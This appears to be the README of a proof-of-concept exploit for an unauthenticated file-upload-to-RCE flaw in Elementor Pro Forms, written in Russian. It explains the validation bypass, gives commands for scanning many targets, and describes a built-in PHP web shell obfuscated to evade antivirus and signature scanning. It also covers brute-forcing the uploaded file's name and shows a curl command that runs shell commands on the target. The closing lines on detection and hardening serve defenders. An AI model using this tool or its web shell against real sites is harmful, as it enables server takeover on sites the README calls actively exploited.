
Доказательство концепции эксплуатации для CVE-2026-32475 — неаутентифицированная произвольная загрузка файлов в Elementor Pro, приводящая к удалённому выполнению кода. Включает массовое сканирование, подбор имени файла перебором и встроенный обфусцированный веб-шелл для авторизованного тестирования.
Неаутентифицированная произвольная загрузка файлов в Elementor Pro, приводящая к удалённому выполнению кода
Proof-of-concept для CVE-2026-32475 — критической неаутентифицированной произвольной загрузки файлов в модуле Forms плагина Elementor Pro, которая приводит к удалённому выполнению кода. PoC отправляет две части файла для одного и того же поля загрузки — пустую первую запись (пустое имя файла, вызывающее UPLOAD_ERR_NO_FILE) с последующей полезной нагрузкой. Цикл validation() завершается досрочно на пустой записи через return, тогда как process_field() пропускает её через continue, поэтому полезная нагрузка никогда не проверяется на расширение и попадает в публичную директорию с расширением .php. PoC, проверяющие исправленное поведение (тот же запрос после установки патча), должны отклоняться проверкой расширения.
Примечание: Этот PoC предназначен только для авторизованного тестирования безопасности и исследований. CVE-2026-32475 активно эксплуатируется в дикой природе, и Wordfence заблокировала более 190 000 попыток с момента раскрытия 19 августа. Вы несёте ответственность за соблюдение всех применимых законов и получение письменного разрешения перед тестированием любой системы.
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)<= 4.2.1requestsУстановка зависимостей:
pip install requests
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --brute --seconds-window 3
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --shell --brute
--shell загружает минимальный обфусцированный PHP-веб-шелл (ключевые слова создаются во время выполнения через
chr()/implode/strrev, параметр команды vapcom), чтобы простые статические сигнатуры и
антивирусное сканирование в реальном времени на диске не обнаруживали его. Сохранённое имя файла по-прежнему случайное
(<uniqid()>.php); комбинируйте с --brute, который проверяет ?vapcom=echo <marker> и сообщает
exec confirmed: <name>.php. Ручное использование после обнаружения:
curl "http://TARGET/wp-content/uploads/elementor/forms/<uniqid>.php?vapcom=id"
python cve-2026-32475-poc.py -T targets.txt -o results.csv
python cve-2026-32475-poc.py -t http://target/page-with-form/ --payload ./lab-shell.php
| Аргумент | Описание | По умолчанию |
|---|---|---|
-t, --target | URL одиночной цели | - |
-T, --targets | Файл с URL целей, по одному на строку | - |
-o, --output | Файл результатов (CSV: target, status, form_id, post_id, field, note) | - |
--timeout | Таймаут запроса в секундах | 15 |
--post-id | Переопределить обнаруженный post_id | auto |
--form-id | Переопределить обнаруженный form_id (id виджета Elementor) | auto |
--field | Переопределить обнаруженный custom_id поля загрузки | auto |
--payload | Путь к файлу пользовательской полезной нагрузки (по умолчанию: безвредный PHP-файл с токеном) | benign token |
--shell | Загрузить встроенный обфусцированный PHP-веб-шелл (<?php ... system($_GET) ?>, создаваемый во время выполнения, параметр vapcom) вместо токена | off |
--brute | После успешной загрузки перебрать имя файла uniqid() для подтверждения выполнения кода | off |
--seconds-window | Секунды до/после заголовка Date сервера для перебора | 5 |
[*] Probing http://localhost/wplab/?page_id=6 ...
[+] Form found: post_id=6 form_id=a1b2c3d4 field=upload_file
[*] AJAX -> HTTP 200
[*] result: vulnerable - upload accepted
response : {"success":true,"data":{"message":"Your submission was successful.","data":[]}}
uploaded to : /wp-content/uploads/elementor/forms/<uniqid>.php
[+] CONFIRMED EXECUTION: 6a9bb5d70fba6.php -> 'POC3f9a2c...'
[*] done: 1/1 vulnerable
success:true в AJAX-ответе означает, что полезная нагрузка была принята без проверки расширения. Шаг 4 с --brute (код 200 на угаданном .php-файле, содержащем маркер) подтверждает выполнение PHP на стороне сервера — то есть полный RCE.
Статусы результатов: vulnerable | patched | unknown | error
vulnerable — веб-сервер вернул "success":true; полезная нагрузка обошла проверку расширенияpatched — загрузка была отклонена с ошибкой типа файла (проверка расширения сработала)unknown — HTTP-запрос прошёл успешно, но ответ не был success:true (неверные ID или непредвиденное состояние)error — сбой запроса/разбора (таймаут, не-200, форма не найдена)<uniqid()>.<расширение_атакующего> — отправленное базовое имя отбрасывается, поэтому трюки с двойным расширением/null-байтом неактуальны; важна только проверка расширения, и именно она ломается..htaccess в wp-content/uploads/elementor/forms/, который устанавливает Content-Disposition: attachment для всех файлов. Это не останавливает выполнение — PHP по-прежнему выполняется на стороне сервера, а загруженный ответ является результатом выполнения. Чтобы отобразить шелл в браузере в лабораторной среде, отключите этот .htaccess; в реальном мире считайте его косметическим и полагайтесь на блокировку PHP на уровне сервера.uniqid() = sprintf("%08x%05x", uint32(tv_sec), tv_usec), поэтому имя зависит от времени (Unix-секунды, младшие 32 бита, + микросекунды). Шаг перебора ограничивает секунду, наблюдаемую в заголовке Date ответа на отправку, и для .php-файлов запрашивает ?vapcom=echo <marker> (или ?c= для файла токена/--payload), так что ответ с маркером означает реальное выполнение PHP на стороне сервера, а не просто чтение файла. Худший случай — ~1 млн переборов микросекунд в секунду, поэтому ужесточите --seconds-window, чтобы сократить время выполнения.# PHP-файлы, которых не должно быть в директории загрузок
find wp-content/uploads/elementor/forms/ -type f -name "*.php*"
.php/.phtml/.phar/.hta в директории форм признаком компрометации.GET по /wp-content/uploads/elementor/forms/ и POST с elementor_pro_forms_send_form.mu-plugins, изменённые файлы ядра/темы и неожиданные события WP-Cron; предпочтительнее восстановление из заведомо исправной резервной копии, чем очистка на месте.location в nginx или <FilesMatch> в Apache). Это долговременное исправление, которое сводит эту и будущие уязвимости загрузки к «потраченному месту на диске».elementor_pro_forms_send_form.